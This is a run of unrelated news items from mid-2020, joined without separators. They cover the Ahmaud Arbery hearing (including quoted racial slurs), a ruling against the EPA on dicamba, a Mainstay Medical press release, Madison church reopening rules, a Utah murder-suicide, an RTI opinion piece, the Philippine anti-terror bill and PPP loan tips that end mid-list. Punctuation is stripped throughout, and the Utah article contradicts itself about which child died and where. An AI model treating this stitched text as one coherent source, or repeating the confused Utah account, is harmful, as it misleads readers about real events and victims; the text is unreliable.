The events of that day began with Arberys visit to the English property, where a house is under construction, a location that many neighborhood residents had visited over the course of several months. According to both English and later Gregory McMichael, Arbery had not taken anything from the property. Arbery then left the property and began jogging south down Satilla Drive, which took him by the McMichaels house. He did not have a cell phone with him, since his device had recently been damaged and was inoperable.

According to Dial, the McMichaels decided he was some place he was not supposed to be, so they armed themselves, Gregory with a revolver and Travis with a shotgun; entered their pickup truck; and began pursuing Arbery. They did not call 911, and they later told first responders that their intention had been to capture Arbery and detain him so that police could identify him.

They pursued Arbery, who was on foot, southeast on Burford Road, where Bryans residence is located. His motion sensor cameras recorded Arbery attempting to change his direction in front of Bryans house to evade his pursuers, who ordered him to stop. Travis stepped out of his vehicle and then, according to his own testimony, told Arbery that they just wanted to talk. Arbery then continued fleeing down Burford Road, before shaking off his pursuers and doubling back west toward Holmes Road.

While fleeing back west on Burford Road, Arbery encountered Bryan, who had entered his own pickup truck and attempted to block Arbery from escaping his pursuers. Meanwhile, the McMichaels continued southeast down Burford Road and turned left onto Zellwood Drive, intending to loop north and then west so that they could cut Arbery off back on Holmes Road.

Bryan also did not call 911 before joining in the McMichaels pursuit. Bryan admitted that he made several attempts to block Arbery, which the young man dodged, and then pursued him the rest of the way up Burford Road until he turned right and ran northeast up Holmes Road. It was at this point that Arbery came upon the McMichaels from the opposite direction and Bryan started recording the events from his cell phone.

According to Dial, Arbery couldnt run anymore and saw someone with a shotgun, so he chose to fight. When defense attorneys tried to ask Dial whether Travis McMichael could claim self-defense, Dial specifically stated, no, it was Arbery who was defending himself in this incident, due to the fact that he had pickup trucks both in front and behind him.

The cell phone video shows Travis McMichael standing in front of his pickup truck with a shotgun while his father Gregory climbed into the bed of the truck to call 911. Arbery then charged at Travis, who aimed his shotgun at Arbery and fired the first shot, which the autopsy report shows hit Arbery in his right wrist. Dial specifically testified that Travis already had his weapon in firing position before contact was made between himself and Arbery.

Bryans cell phone recording shows that Arbery then struck Travis McMichael with his hand and began struggling with him over the shotgun. This is when Travis fired two more rounds into Arberyone into the upper left portion of his chest and the other into the center of his chest. Travis McMichael admitted to first responders that he fired all three shots, for which spent shells were found at the scene. After these were fired, the video shows that Arbery fell to the ground.

Travis McMichael told police who arrived on the scene that he could tell Arbery was going to fight. It was at this time that he squared up into a fighting stance and shot him. Gregory McMichael told police that he only heard two shots and claimed that these both came after Arbery had already attacked his son. Dial speculated that Gregory simply did not register the initial shot, which struck Arberys wrist, and was busy talking to a 911 operator while this took place. Gregory also told first responders that he shouted at his son not to shoot Arbery, but Dial testified that this was not present on the emergency 911 call. Dial also stated that he did not see any visible evidence in the photos taken of Travis that showed Arbery had injured him. Travis was not treated for any injuries on the day of the killing.

During a recess, Lee Merritt, the attorney who is representing Arberys family, told reporters, The first shot was to the chest. What that indicates to us was that it was not a defensive shot; it was an offensive shot. He planned to kill Ahmaud Arbery by shooting him body center mass in the chest. It wasnt a response to an assault on him. It helps us establish the intent requisite for murder.

During the course of the hearing, it was revealed that Bryan reported to first responders that Travis had hurled a racial epithet at Arberys lifeless body before police arrived. After he shot the young jogger three times, killing him, he uttered the phrase, fucking nigger. The GBI looked through Travis McMichaels US Coast Guard training records and found that he had once said that he loved his job because he was on a boat and there were not any niggers anywhere.

Defense attorneys tried to raise an issue with Arberys mental history, to which a prosecutor objected, claiming that it was only intended to assassinate the victims character. Dial reported that Arbery had been diagnosed with a mental illness that causes hallucinations but that he was not under treatment in February when he was killed. Merritt told reporters that Arberys mental health and records have nothing to with this trial and were inappropriate to bring up in the case.

According to Gregory McMichaels statements to first responders, he was only pursuing Arbery based on his gut instinct that the young man was responsible for various crimes in the area. He and Travis both described a hunch combined with recognition of Arbery from Englishs security cameras, which had captured evidence of many people in the neighborhood visiting the construction site in question. Gregory told police that he did not think anything was actually stolen on the day of the murder.

Defense attorneys also questioned Dial about Arberys movements around the two vehicles that were pursuing him, suggesting that Arbery was trying to open their vehicle doors to carjack them. Dial rejected these spurious claims. Its obvious that Mr. Arbery was trying to escape. Bryans attorney, Kevin Gough, even referred to the interactions between Bryan and Arbery as an attempted carjacking, which the prosecutors, judge and Dial himself all vigorously opposed.

Arberys supporters called for people to show up for a peaceful protest at Piedmont Park in Atlanta later on Thursday. Hundreds of protesters took a knee for eight minutes to symbolize the amount of time that Minneapolis Police Officer Derek Chauvin held his knee on George Floyds neck on Memorial Day, killing him and sparking more than a week of nationwide and international protests against police violence. They then marched to Downtown Atlanta where at least two other marches were convening from various origins.

Merritt wore a face mask to the hearing emblazoned with Floyds name on one side. Defense attorneys made a motion to the court that Merritt remove his mask, but the court declined to even consider the motion.
Photograph: Bryce Gray/AP

The Environmental Protection Agency (EPA) broke the law in approving agricultural weedkilling products sold by Bayer and two other chemical giants, ignoring clear evidence that the new herbicides would cause widespread damage to crops, a federal court ruled on Wednesday.

The decision by the US court of appeals for the ninth circuit invalidates the registrations for dicamba-based herbicides made by Monsanto, which is owned by Bayer AG, BASF and Corteva Agrisciences that are designed to be sprayed on genetically engineered soybeans and cotton. The court order effectively makes it illegal for farmers to continue to use the dicamba herbicides this summer as they tend to millions of acres of crops.

In a stinging rebuke, the court said it had no choice but to cancel the EPAs approval of the herbicides because the agency had strayed so far from its duty to properly assess the dangers presented by the new use of dicamba.

The EPA made multiple errors in granting the conditional registrations, the court said.

The petition seeking to overturn the EPAs approval was brought by the National Family Farm Coalition, Center for Food Safety, Center for Biological Diversity and Pesticide Action Network North America.

Todays decision is a massive win for farmers and the environment, said George Kimbrell of the Center for Food Safety, lead counsel in the case. It is good to be reminded that corporations like Monsanto and the Trump administration cannot escape the rule of law, particularly at a time of crisis like this. Their day of reckoning has arrived.

An EPA spokesman said the agency was currently reviewing the court decision and will move promptly to address the courts directive.

The issue at the heart of the court case is a crop and chemical system designed by Monsanto, which was acquired by Bayer in 2018. The company said that soybean and cotton farmers could plant dicamba-tolerant versions of the crops and then spray new types of dicamba herbicides directly over the top of their fields to easily kill weeds. Previously, farmers used dicamba sparingly and were largely restricted from using dicamba during the growing season because the chemical can easily drift long distances, killing or injuring a wide array of crops and other plants it settles on.

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Monsanto, BASF and Corteva Agriscience told the EPA that their herbicides would have low volatility and if farmers followed instructions on the product labels, they could prevent drift. But since the introduction of the new dicamba crops and herbicides, farmer complaints have been filed with state agricultural officials, reporting dicamba damage across several million acres in at least a dozen states.

The Guardian reported in March that Monsanto predicted its dicamba crop system would lead to thousands of damage claims from US farmers but pushed ahead anyway, and risks were downplayed to the EPA.

The court found that the EPA refused to estimate the amount of dicamba damage, failed to acknowledge that restrictions it placed on the use of the dicamba herbicides would not be followed, and did not acknowledge evidence that the new use of dicamba herbicides would tear the social fabric of farming communities.

Related: Revealed: Monsanto predicted crop system would damage US farms

The court said it knew its decision could be costly for farmers who planned to use dicamba on their GMO soybeans and cotton fields, but said the EPAs failure to acknowledge and address risks to other crops left the court no choice.

We acknowledge the difficulties these growers may have in finding effective and legal herbicides to protect their (dicamba-tolerant) crops  the ruling states. They have been placed in this situation through no fault of their own.

Bayer, BASF and Corteva each issued statements saying their herbicides were important farmer tools that could be used safely and they disagreed with the courts decision. The companies said they were assessing options in response.

If the ruling stands, we will work quickly to minimize any impact on our customers this season, Bayer said.

BASF called the court order unprecedented and said it has the potential to be devastating to tens of thousands of farmers.

Farmers could lose significant revenue if they are not able to kill weeds in their soybean and cotton fields with the dicamba herbicides, the company said.

We will use all legal remedies available to challenge this order, BASF said.
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Terms used and not otherwise defined in this announcement have the meaning given to such terms in the circular published by Mainstay Medical International plc on 14 April 2020

Regulatory News:

The scheme of arrangement pursuant to which Mainstay Medical Holdings plc ("Mainstay Holdings") is introduced as the holding company of the Mainstay group (the "Mainstay Group") became effective today, Friday, 5 June 2020.

Settlement of Mainstay Holdings Shares

In accordance with the terms of the Scheme, ordinary shareholders of Mainstay Medical International plc ("Mainstay") at 6.00 p.m. on Thursday, 4 June 2020 will be issued with one Mainstay Holdings Share for every Mainstay plc Share held at such time.

Shareholders who held their Mainstay plc Shares in uncertificated form will have their CREST accounts credited with their entitlement to Mainstay Holdings Shares on Monday, 8 June 2020. Shareholders who held their Mainstay plc Shares in certificated form will be issued with share certificates in respect of their Mainstay Holdings Shares in June 2020.

Shareholders are advised that all instructions, mandates, elections, communication preferences and group requirements relating to notices and other communications in respect of ordinary shares in effect on 5 June 2020 will, unless and until varied or revoked, be deemed to be valid and effective mandates or instructions to Mainstay Holdings in relation to the corresponding holding of Mainstay Holdings Shares.

Cancellation of listing of Mainstay plc Shares

The Mainstay plc Shares will be delisted from trading on Euronext Paris and the Euronext Growth market of Euronext Dublin with effect from 7.00 a.m. on 8 June 2020. Mainstay plc Shares in uncertificated form have been disabled in CREST.

About Mainstay

Mainstay is a medical device company focused on commercializing an innovative implantable restorative neurostimulation system, ReActiv8, for people with disabling Chronic Low Back Pain (CLBP). The Company is headquartered in Dublin, Ireland. It has subsidiaries operating in Ireland, the United States, Australia, Germany and the Netherlands, and is listed on the regulated market of Euronext Paris (MSTY.PA) and Euronext Growth operated by Euronext Dublin (MSTY.IE).

About Chronic Low Back Pain

One of the root causes of CLBP is impaired control by the nervous system of the muscles that dynamically stabilize the spine. ReActiv8 is designed to electrically stimulate the nerves responsible for contracting these muscles to improve dynamic spine stability, allowing the body to recover from CLBP.

People with CLBP usually have a greatly reduced quality of life and score significantly higher on scales for pain, disability, depression, anxiety and sleep disorders. Their pain and disability can persist despite the best available medical treatments, and only a small percentage of cases result from an identified pathological condition or anatomical defect that may be correctable with spine surgery. Their ability to work or be productive is seriously affected by the condition and the resulting days lost from work, disability benefits and health resource utilization put a significant burden on individuals, families, communities, industry and governments.

Further information can be found at www.mainstay-medical.com

CAUTION in the United States, ReActiv8 is limited by federal law to investigational use only.

Forward looking statements

This announcement includes statements that are, or may be deemed to be, forward looking statements. These forward looking statements can be identified by the use of forward looking terminology, including the terms "anticipates", "believes", "estimates", "expects", "intends", "may", "plans", "projects", "should", "will", or "explore" or, in each case, their negative or other variations or comparable terminology, or by discussions of strategy, plans, objectives, goals, future events or intentions. These forward looking statements include all matters that are not historical facts. They appear throughout this announcement and include, but are not limited to, statements regarding the Company's intentions, beliefs or current expectations concerning, among other things, the establishment of the new holding company of the Mainstay Group and the delisting of the Company's ordinary shares from Euronext Paris and the Euronext Growth market of Euronext Dublin.

By their nature, forward looking statements involve risk and uncertainty because they relate to future events and circumstances. Forward looking statements are not guarantees of future performance, and the actual results of the Company's operations, the development of its main product, and the markets and the industry in which the Company operates may differ materially from those described in, or suggested by, the forward looking statements contained in this announcement. In addition, even if the Company's results of operations, financial position and growth, and the development of its main product and the markets and the industry in which the Company operates are consistent with the forward looking statements contained in this announcement, those results or developments may not be indicative of results or developments in subsequent periods. A number of factors could cause results and developments of the Company to differ materially from those expressed or implied by the forward looking statements, including, without limitation, shareholder approval of the scheme of arrangement, the outcome of the Company's interactions with the FDA on a PMA application for ReActiv8 and the successful launch and commercialization of ReActiv8. As a result, investors should not rely on such forward-looking statements in making their investment decisions. No representation or warranty is made as to the achievement or reasonableness of, and no reliance should be placed on, such forward-looking statements. The forward-looking statements herein speak only at the date of this announcement. None of Mainstay, the Mainstay Board, Mainstay Holdings or the Mainstay Holdings Board assume any obligation to update or correct the information contained in this announcement, whether as a result of new information, future events or otherwise, except to the extent legally required. Nothing contained in this announcement shall be deemed to be a forecast, projection or estimate of the future financial performance of the Mainstay Group except where expressly stated.

Important Notices

The information contained in this announcement is for background purposes only and does not purport to be full or complete. No reliance may be placed for any purpose on the information contained in this announcement or its accuracy, fairness or completeness.

The contents of this announcement are not to be construed as legal, financial or tax advice. Each prospective investor should consult his own legal adviser, financial adviser or tax adviser for legal, financial or tax advice, respectively.

Disclaimers

This announcement and the information it contains does not constitute and shall not be considered as constituting a public offer, an offer to subscribe or an intention to solicit the interest of the public for a public offering of Mainstay's securities in Ireland, France, the United Kingdom, the United States or any other jurisdiction. This announcement does not comprise a prospectus or a prospectus equivalent document.

With respect to Member States of the European Economic Area, no action has been taken or will be taken to permit a public offering of the securities referred to in this announcement which would require the publication of a prospectus in any Member State. There will be no offer to the public of Mainstay Holdings Shares in any Member State of the European Economic Area and no prospectus or other offering document has been or will be prepared in connection with the issue of Mainstay Holdings Shares.

J&E Davy, trading as Davy, which is authorised and regulated in Ireland by the Central Bank of Ireland, is acting exclusively for the Company and Mainstay Holdings and no one else in connection with the Reorganization and will not be responsible to anyone other than the Company and Mainstay Holdings for providing the protections afforded to its clients or for providing any advice in relation to the Reorganization or any matter referred to herein.

The release, publication or distribution of this announcement and the documents referred to herein in jurisdictions other than Ireland, France and the United Kingdom may be restricted by law and therefore persons into whose possession any of this announcement and the documents referred to herein come should inform themselves about, and observe, any applicable restrictions or requirements. Any failure to comply with such restrictions may constitute a violation of the securities laws of any such jurisdiction. To the fullest extent permitted by applicable law, Mainstay and Mainstay Holdings disclaim any responsibility or liability for the violation of such requirements by any person.

Notice to investors in the United States

The Reorganization relates to the shares of an Irish company (a "foreign private issuer" as defined under Rule 3b-4 under the U.S. Securities Exchange Act of 1934 (the "Exchange Act")) and is proposed to be made by means of a scheme of arrangement provided for under, and governed by, Irish law (the "Scheme"). Neither the proxy solicitation rules nor the tender offer rules under the Exchange Act will apply to the Scheme. Accordingly, the Mainstay Holdings Shares to be issued pursuant to the Scheme have not been and will not be registered under the U.S. Securities Act of 1933 (the "Securities Act") or under the relevant securities laws of any State or territory or other jurisdiction of the United States, and are expected to be offered in the United States in reliance upon the exemption from the registration requirements of the Securities Act provided by section 3(a)(10) thereof and exemptions provided under the laws of the States of the United States in which eligible Scheme Shareholders may reside.

For the purpose of qualifying for the exemption from the registration requirements of the Securities Act provided by section 3(a)(10) thereof with respect to the Mainstay Holdings Shares issued pursuant to the Scheme, Mainstay will advise the Court that its sanctioning of the Scheme will be relied upon by Mainstay Holdings as an approval of the Scheme, following a hearing on its fairness to Scheme Shareholders at which hearing all Scheme Shareholders are entitled to attend in person or through counsel to support or oppose the sanctioning of the Scheme and with respect to which notification has been given to all such Scheme Shareholders.

The Mainstay Holdings Shares to be issued under or in connection with the Scheme to a Scheme Shareholder who is neither an affiliate, for the purpose of the Securities Act, of Mainstay or Mainstay Holdings on or prior to the time the Scheme becomes effective nor an affiliate of Mainstay Holdings at the time the Scheme becomes effective (the "Scheme Effective Time") would not be "restricted securities" under the Securities Act. Scheme Shareholders who are affiliates of Mainstay or Mainstay Holdings on or prior to the Scheme Effective Time or affiliates of Mainstay Holdings after the Scheme Effective Time may, under Rule 145(d) under the Securities Act, be subject to timing, manner of sale and volume restrictions on the sale of Mainstay Holdings Shares received in connection with the Scheme. For the purpose of the Securities Act, an affiliate of either Mainstay or Mainstay Holdings is any person who directly or indirectly through one or more intermediaries controls, or is controlled by, or is under common control with Mainstay or Mainstay Holdings respectively. Whether a person is an affiliate of either Mainstay or Mainstay Holdings for the purpose of the Securities Act depends on the circumstances. Persons who believe that they may be affiliates of either Mainstay or, after the Scheme Effective Time, Mainstay Holdings should consult their own legal advisers prior to any sale of the Mainstay Holdings Shares received upon the implementation of the Scheme.

The Scheme is subject to the disclosure requirements and practices applicable in Ireland to schemes of arrangement, which differ from the disclosure and other requirements of U.S. securities laws.

Mainstay and Mainstay Holdings are both incorporated under the laws of Ireland. Some or all of the officers and directors of Mainstay and Mainstay Holdings may be residents of countries other than the United States. It may not be possible to sue Mainstay and Mainstay Holdings in a non-U.S. court for violations of U.S. securities laws. It may be difficult to compel Mainstay, Mainstay Holdings and their respective affiliates to subject themselves to the jurisdiction and judgment of a U.S. court. It may not be possible to enforce in Ireland a judgment of a U.S. court in respect of violations of U.S. securities law.

None of the securities referred to in this announcement have been approved or disapproved by the U.S. Securities and Exchange Commission, any state securities commission in the United States or any other U.S. regulatory authority, nor have such authorities passed upon or determined the adequacy or accuracy of the information contained in this announcement. Any representation to the contrary is a criminal offence in the United States.

There will be no public offer of securities in the United States.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005175/en/

Contacts:

PR and IR Enquiries:

LifeSci Advisors, LLC

Brian Ritchie

Tel: 1 (212) 915-2578

Email: britchie@lifesciadvisors.com

FTI Consulting (for Ireland)

Jonathan Neilan or Patrick Berkery

Tel: +353 1 765 0886

Email: mainstay@fticonsulting.com

Euronext Advisers:

Davy

Fergal Meegan or Barry Murphy

Tel: +353 1 679 6363

Email: fergal.meegan@davy.ie or barry.murphy2@davy.ie
Churches in Madison and Dane County can now follow the same rules as any other local business regarding in-person attendance after the Madison Catholic Diocese challenged as unconstitutional earlier this week the limitations for places of worship in the local coronavirus reopening plan.

Also, Public Health Madison and Dane County officials said Friday the county will not move to the next phase of reopening businesses and other entities to 50% capacity before June 12, and even if data looks good, the shift likely wont happen for a few days to give time to prepare.

City and county officials announced Friday they are loosening a public health order to let churches have services up to 25% capacity. The previous order  put in place to reduce the risk of an outbreak of COVID-19 where people gather in large numbers  let churches have as many services as they wanted, but required they be capped at just 50 worshipers per service.

Basic life needs  food, shelter, and clothing  are in such high demand in our community given the current pandemic, so its hard to imagine the best use of parishioner or taxpayer dollars right now is in a courtroom, County Executive Joe Parisi said in a statement Friday.

While the request of the Catholic Bishop of Madison raises a legal gray area, the public health science here is anything but unclear: COVID-19 is here, infecting more people every day and minimizing contact in large group settings is an incredibly effective approach to staying healthy, Parisi said.

In a letter sent Wednesday on behalf of the diocese to Mayor Satya Rhodes-Conway, Parisi and Janel Heinrich, director of the joint city-county health department, attorneys with the nonprofit Becket Fund for Religious Liberty and three other law firms say the countys Forward Dane plan unconstitutionally singles out churches for tougher gathering restrictions than many other venues.

In the initial Phase 1 of the three-phase plan, venues other than churches  including shopping malls, gyms and theaters, and other businesses  are simply limited to 25% capacity, with no specific upper limit on the number of people in attendance at one time.

Madison Diocese Bishop Donald Hying applauded Fridays decision.

As bishop, it is my duty to ensure that Sunday Mass be available as widely as possible to the Catholic faithful, while following best practices when it comes to public health, Hying said.

Indeed, in a time of deep division, it is more important than ever for the church to provide solace and comfort to all, in the great tradition of American religious freedom. We look forward to working together with the county and city to continue the reopening process in a safe, cooperative, and responsible manner.

Becket vice president and senior counsel Eric Rassbach said, Were glad that Madison and Dane County came to their senses, but it shouldnt have taken so long. The First Amendment protects both prayer and protest. Putting an arbitrary numerical cap on worship services while allowing thousands to protest makes no sense from a legal or public health perspective.

Most other governments nationwide have already lifted their COVID-related restrictions on worship, he said. The few remaining holdouts should take note and come into compliance with the First Amendment.

Still a danger

As of Friday, the county is nearing 800 positive COVID-19 cases, and the state will soon pass the 20,000-case mark. More than 1,000 people in the United States died from COVID-19 Thursday alone, the city-county statement says.

Public Health Madison and Dane County stands by its efforts to protect the public, contain the virus and do so in a way that is neutral and even-handed, with the health and safety of all of Dane Countys residents being the top priority, Heinrich said.

These orders were put in place for a reason  we are in the midst of a public health emergency and we are going to do all we can to reduce the risk of public infection, she added.

The agency strongly recommends that faith and spiritual organizations continue to provide virtual services as the safest and recommended practice, the statement says.

The intent of this order was to reduce the risk of a flare-up of COVID-19 occurring in churches that could quickly overwhelm Public Health contact tracing and our healthcare systems, Rhodes-Conway said. I am appreciative of the number of religious denominations that are being mindful of the risk of congregating large groups in enclosed spaces right now.

Measured reopening

After the state Supreme Court struck down the statewide stay-at-home order on May 13, the public health department issued an order to replace it that listed houses of worship as essential services that could open at 25% capacity, the diocese said. The diocese crafted a reopening plan based on that limit only to see the department issue a new order a few days later that added the 50-person restriction, lawyers for the diocese said.

Under Emergency Order No. 4, which takes effect immediately, the county remains in Phase 1 of the Forward Dane plan, the city-county statement says. Order No. 4 makes a clarification with respect to religious services. Religious worship services will no longer be categorized as a mass gathering. All restrictions applicable to businesses will continue to apply to religious services. These restrictions include limiting capacity to 25% of approved capacity levels and developing and implementing written hygiene, cleaning and protective measure policies and procedures.

The county entered Phase 1 of the reopening plan on May 26 and under the plans terms must remain in each phase for at least 14 days, or the incubation time for the coronavirus.

Moving on to phases 2 and 3 requires the county to meet a series of increasingly stringent health metrics and comes with looser restrictions on businesses and other institutions. For churches that would mean limits on their capacities of 50% and 75%, respectively, but any hard numerical limit on attendance is to be determined under the plan.

Its unclear when public health will move to the next phases, but county officials said Friday it wont be for at least another week.

The current COVID-19 weekly data snapshot gives a picture of the Forward Dane metrics through May 29, public health spokesperson Sarah Mattes said. When Public Health updates the metrics again on Monday, the data will be current through June 5, she said.

We will not issue a new Phase 2 public health order without supporting metrics from two full weeks of data from Phase 1, Mattes said. This two-week period will end on June 9. We expect to have the data compiled and analyzed on June 12 to inform any decisions about future orders.

We will not make a determination until the 12th, she said. If a new order is issued based on the metrics, it would mostly likely not go into effect for a few days so that businesses have time to prepare.







COVID-19 in photos: How Wisconsin is managing the pandemic

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When a Utah mom gets home, she arrives to see the father and one of their children dead, but the 8-year old was injured seriously, shocking for her.

According to what the police said, the father died with his 10-year old son, but the 8-year old was injured. The mother brought him to the hospital but did not survive the ordeal, reported by Fox 13 Now.

The authorities have declared it a double murder-suicide as they saw the evidence on a Tuesday evening.

What happened?

According to the police, the natural father stayed at Sandra Ang's residence at Indigo Sky Way, close to Pentenwell Lane, near Daybreak. He was left watching over his two sons, aged 8 and 10 while their mom was away.

When the Utah mom got home from her job, she found one of her children, the 8-year old injured badly.

This is how the South Jordan Police department was summoned, by her to go to her residence.

Police arrived

The call was answered by Lieutenant Matt Pennington, with fellow officers who discover the bodies of father and son, possibly death by suicide, mentioned True Crime Daily.

The mother took the child to the hospital to save him, but alas it was too late and the 8-year old did not make it, much to the dismay of his distraught mother.

Police did not take everything at face value, especially the deaths of the father and son. Also, the natural father was just visiting and did not live there.

Lt. Pennington added some insights into the double murder case.

According to the Pennington, there is a record of calls from the address from November and October last year 2019. Soon after, the calls have stopped. He assumes that the couple has separated since then.

Also read: Stepmom Who Tortured, Starved Little Girl Attempts to Fool Court to be Freed From Jail

Mayor Dawn Ramsey of South Jordan went to see the bereaved woman to give her condolences as the Lady Mayor address everyone in the South Jordan community.

She asked the people to address domestic violence, and ask for help to avoid a repeat at the Pentenwell Lane residence.

The mayor said talk to someone you can trust and ask for help before it is too late.

She pooled everyone to assist the mother, who has lost her family in one afternoon. Later, the neighbor pitched in to raise funds.

Updates on the case

The children were found lifeless at the exact address at 4329 W. Pentenwell Ln.

South Jordan police identified the slain children, Seth Osborn, aged- 8, and Ezra Osborn, age- 10 with cause of death are gunshots, confirmed by KSL News Radio.

They suspect that they were shot by their father, Brian Osborn, aged 41, he shot himself after shooting the two boys.

When the police found the bodies, they found one child because the mother went to the hospital, but the child expired.

Police concluded that the father shot the two children when the mother left and shot himself last, explaining how they found the crime scene,

South Jordan Police Lt. Matt Pennington, described the crime scene in chaos, reported by AP News.

Police said that the father was at home while the mom at work. Both spouses have been apart for several months, they have a history of domestic issues but not criminal.

Final statements are not yet released as of this writing since further investiation is still being conducted by the Utah police.

Related topic: Skeletal Remains of Girl Discovered in Feces-Filled Basement Along With Her Brother in Dismal Condition

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In the lethal jaws of a pandemic, when lives and livelihoods are at stake, the information law of a democracy is expected to live up to its responsibilities  to empower the citizens and to ensure transparency and accountability. Free flow of information is an essential component of crisis management. And this is a crisis like no other.

However, during these trying times, instead of proving its rigour and tenacity, the Right to Information (RTI) regime failed to deliver. People merely turned into passive consumers of media reports, TV debates, advertisements, and press releases churned out by various departments which cannot replace the regime of transparency upheld by the RTI Act. The need of the hour in such adversity is to share data nationwide and reply to RTI queries to clarify doubts, dissipate insecurity, and bolster peoples faith in the information system.

After the lockdown was imposed on March 25, the Central Information Commission (CIC) was perhaps the only one out of the total 29 commissions in the country to start work on April 20. As per a telephonic survey conducted by the Commonwealth Human Rights Initiative (CHRI), during the first and second phase of the lockdown, the State Information Commissions (SICs) just remained dormant.

Information on critical issues eluded the public. A query, under the RTI, seeking details of PM Cares fund was denied by the Prime Ministers Office, stating it is not a public authority and the State Bank of India refused to give these details on the ground that it was third party information held under fiduciary capacity. This violates the basic axiom that the public must have access to the details of a public fund. The CIC, in two separate decisions, had directed that information to queries on PM and CM Relief Funds must be given. The matter is pending in the high court since 2018 but no stay was given on CICs decision.

Some other queries have fared no better. A query filed with the department of financial services (DFS) seeking details of suo motu disclosure of details of actual access to PM Garib Kalyan Yojna by beneficiaries has taken a rollercoaster ride from DFS to the ministry of rural development to the department of economic affairs, back to DFS and again to rural development. While RTI queries regarding the list of district-wise coronavirus disease (Covid-19) treatment facilities were being transferred from one department to another, the health minister issued a press release on the nationwide health care facilities.

Tens of thousands of migrant labours, rendered jobless and homeless, walked on the highways and railway tracks towards their homes in the blazing summer heat with their children and humble belongings. Many perished, unsung and unlamented, on their way. However, in reply to a query under the RTI Act, the office of the Chief Labour Commissioner (CLC), under the Union ministry of labour and employment, claimed that it does not have state-wise and district-wise data with respect to the migrant labourers. This, despite the CLC directing the regional heads based in 20 centres across the country to enumerate every migrant worker stranded due to the lockdown within three days during the second week of April. The CIC has directed CLC on May 27 to post the information on the website.

A few videos showing police brutality in enforcing restrictions on peoples movement had gone viral. The citizens need to know the truth and action taken against those policemen. Such information can be available only if a robust regime of RTI prevails and the relevant portals are updated with suo motu disclosures.

During the Covid-19 scare, bewildered citizens deserve to be taken into confidence. They have the right to know more about the countrys health care system. For instance, who is being held accountable for approving the purchase of faulty testing kits by the government that jeopardised the testing of Covid-19 for days, and for providing poor quality Personal Protective Equipment (PPE) to frontline health care workers who are contracting the infection?

Those in lockdown need to access the outer world. State-wise data about the movement of food grains and other essentials was given in press releases. But people need to check out the distribution data at the district and fair price shop level. They need to know whether there has indeed been any diversion of food grains, as alleged. The SICs could have done yeomans service at this time hearing such matters on priority.

Each of these queries relating to health care, PM Cares fund, welfare programmes and migrants ought to have been on the website portals. A broken RTI system during Covid-19 times could not respond to correct the malaise. SICs remained dormant and the CIC did not bring to book those responsible for the lapse.

The current health hazard is fast transforming into a socioeconomic crisis of an immense proportion and government-public interaction as well as information sharing need to increase befittingly. Ministers and government spokespersons cannot remain the sole disseminators of information. There has to be an institutional response through the RTI regime already in place.

RTI queries increased by 83.83%, from 8,86,681 in 2012-13 to 16,30,048 in 2018-19, indicating the rising faith of our people in the RTI system. But it is in times of such a crisis that the regime is really tested. The political executive and information commissioners, therefore, need to reflect deeply and bolster the RTI machinery in the interest of the people and the nation at large.

Yashovardhan Azad is a former IPS officer and Central Information Commissioner

The views expressed are personal
Metro Manila (CNN Philippines, June 6)  Albay second district Rep. Joey Salceda joined some of his colleagues who withdrew their vote for the controversial Anti-Terrorism Bill for lack of a meeting with senators to thresh out what he calls vague provisions.

Without a bicameral conference, there will be no opportunity for House members to help address the abovementioned reservations, Salceda said in a letter to House Secretary-General Jose Luis Montales, where he also asked that his vote be registered as an abstention.

Salceda said some sections of the bill may affect the right to privacy of individuals.

Section 3(i) thereof includes the tracking of individuals, and not just members of organizations declared as terrorist. Section 16 of the measure also expands the list of persons who may be subjected to surveillance or wiretapping by including persons who are merely 'suspected' of committing any of the crimes penalized under the proposed law, he said.

He said the creation of an Anti-Terrorism Council, composed of Cabinet officials with powers to order the arrest of suspected terrorists, may violate the separation of powers in particular with the Judiciarys functions.

The lawmaker pointed out another possible constitutional issue on the detention of suspected terrorists.

Under Section 29 of the measure, a person suspected of violating the proposed Anti-Terrorism Act may be detained for 14 days, extendible for another 10 days. Article 7, Section 18 of the Constitution, provides that even when the privilege of the writ of habeas corpus is suspended, the maximum period that a person can be detained without charges is three days, Salceda said.

Other lawmakers who reversed their previous votes were Antique Rep. Loren Legarda, Agusan del Norte Rep. Lawrence Fortun, and Muntinlupa Rep. Ruffy Biazon.

READ: Lawmakers deny co-authoring anti-terrorism bill
The CARES Act was a landmark, $2 trillion piece of legislation that not only provided every American with a $1,200 stimulus check and an extra $600 a week in unemployment benefits, but also put aside money for the Small Business Administration (SBA) to cover the Paycheck Protection Program (PPP) and the Economic Injury Disaster Loan Program (EIDL). This program provides forgivable, low-interest loans to small businesses that qualify and has already been a lifesaver for many businesses that have been forced to shut their doors during the quarantine.

But as with all good things, there will always be those who take advantage, which means that these loans come with strict standards and regulations for those applying to and receiving federal funds. Although most business owners would do anything to avoid an accusation of fraud, it can be tricky to navigate this complex area of finance and legislation. Mistakes can happen. To avoid any issues cropping up in the future, here are five strategies to keep your business safe from PPP loan blunders.

1. Keep careful records regarding your PPP loan spending

Dont wait until your business is large to keep meticulous records of your spending, especially when it comes to this type of loan. Because of the strict stipulations that come along with a PPP loan, its imperative that you keep careful records of how it is spent so you can prove your compliance with the letter of the law. Your business is no doubt suffering due to this economic downturn, so do not shoot yourself in the foot by being careless when it comes to record-keeping.

Related: PPP Forgivable Loans Will be Unforgiving for Many

2. Dont use less than the minimum mandatory funds for payroll

One of the most important stipulations of forgiveness for SBA loans is that 75% of the funds must go towards payroll if the borrower is looking to get full forgiveness. Although you are allowed to include your own salary in this accounting, do not underestimate the time and effort it will take to re-hire the employees you had to let go during this time. Even if you cannot re-hire everyone, you are still required to use that same percentage of the loan towards payroll.

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3. Pay yourself a typical salary

As we mentioned above, you are allowed to calculate the cost of your own salary into your PPP loan and pay yourself from these funds. If you are keeping careful records, there should be no issues producing evidence to support your calculations.

Be careful to not overspend in this category, however. You can be sure that it will be found out somewhere down the road. If you are caught embezzling these funds, you will be subject to the heavy hand of the law, including felony charges and a hefty fine, so ensure your ts are crossed and your is are dotted on every single document to avoid any issues along the line.

4. Including 1099 workers Is unnecessary

If your business often utilizes independent contractors, it is important to remember that their wages are not covered under your payroll for PPP loan funds. 1099 workers can apply for their own loans should they experience financial hardship, so there is no need to calculate extra funds to cover their expenses. Only employees who file W-2 forms each year with your company are eligible for these payroll funds.

5. Do not use PPP funds for unrelated purchases

